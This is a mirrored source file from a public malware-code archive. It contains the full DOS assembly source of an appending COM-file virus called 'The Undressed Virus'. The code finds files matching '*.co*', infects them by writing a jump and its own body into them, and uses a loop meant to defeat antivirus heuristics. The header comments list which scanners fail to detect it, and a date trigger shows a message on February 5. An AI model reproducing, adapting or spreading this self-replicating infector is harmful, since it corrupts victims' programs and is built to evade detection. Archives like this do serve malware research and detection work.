mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-25 04:45:27 +00:00
126 lines
2.6 KiB
NASM
126 lines
2.6 KiB
NASM
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; Virus: The Undressed Virus
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; Author: Arsonic[Codebreakers]
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; Type: Appending
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; Encryption: No
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;
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; Displays a Message on Feb 5th.
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; Btw.. I Love Lisa..!
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;---------------------------------------------------------------------------------------------------
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; AV-Product | Detected? | Comments
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;---------------------------------------------------------------------------------------------------
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; F-Prot | No | Easy to Get Past.. FPROT SUCKS!
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; TBAV | Unknown Virus | Well.. at least it aint say VCL!
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; AVP | VCL.824 | VCL! ARRGGGHH!
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;----------------------------------------------------------------------------------------------------
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db 0e9h,0,0
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start:
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call delta
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delta:
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pop bp
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sub bp,offset delta
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mov cx,0ffffh ;kill heristics
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fprot_loopy:
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jmp back
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mov ax,4c00h
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int 21h
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back:
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loop fprot_loopy
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mov cx,3
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nop
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mov di,100h
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nop
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lea si,[bp+buffer]
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nop
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rep movsb
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find_first:
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mov ah,4ch
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add ah,2
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nop
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find_next:
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nop
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lea dx,[bp+filemask]
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nop
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int 21h
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jnc infect
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jmp check_payload
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infect:
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mov ax,3d02h
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mov dx,9eh
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int 21h
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xchg ax,bx
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mov ah,3dh
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add ah,2
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mov cx,3
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lea dx,[bp+buffer]
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int 21h
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mov ax,word ptr[80h + 1ah]
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nop
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sub ax,end - start + 3
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nop
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cmp ax,word ptr[bp+buffer+1]
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nop
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je close_file
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mov ax,word ptr[80h + 1ah]
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nop
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sub ax,3
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nop
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mov word ptr[bp+three+1],ax
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mov ax,4200h
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xor cx,cx
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cwd
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int 21h
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mov ah,3eh
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add ah,2
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nop
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lea dx,[bp+three]
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nop
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mov cx,3
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nop
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int 21h
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mov ax,4202h
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xor cx,cx
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cwd
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int 21h
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mov ah,3eh
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add ah,2
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nop
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lea dx,[bp+start]
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nop
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mov cx,end - start
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nop
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int 21h
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close_file:
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mov ah,3ch
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add ah,2
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int 21h
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mov ah,4dh
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add ah,2
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jmp find_next
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check_payload:
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mov ah,2ah
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int 21h
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cmp dh,2 ;is it febuary?
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je next
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jmp close
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next:
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cmp dl,5 ;the 5th?
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je payload ;yes.. display the message
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jmp close ;no.. return control to the program.
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payload:
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mov ah,9h ;display message
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lea dx,[bp+message]
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int 21h
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int 00h ;get keypress
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int 16h
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int 20h ;return to dos.
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close:
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mov di,100h ;return control to program
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jmp di
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three db 0e9h,0,0
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filemask db '*.co*',0 ;if *.com it would be detected as trival variant
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buffer db 0cdh,20h,0
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virus db 'The UnDreSSeD',0 ; messages to give those av'ers a
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author db 'Arsonic[CB]',0 ; nice scan string..
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message db 'Happy Birthday Lisa!',10,13,'$'
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Lisa db 'I LOVE U LISA!',0
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end:
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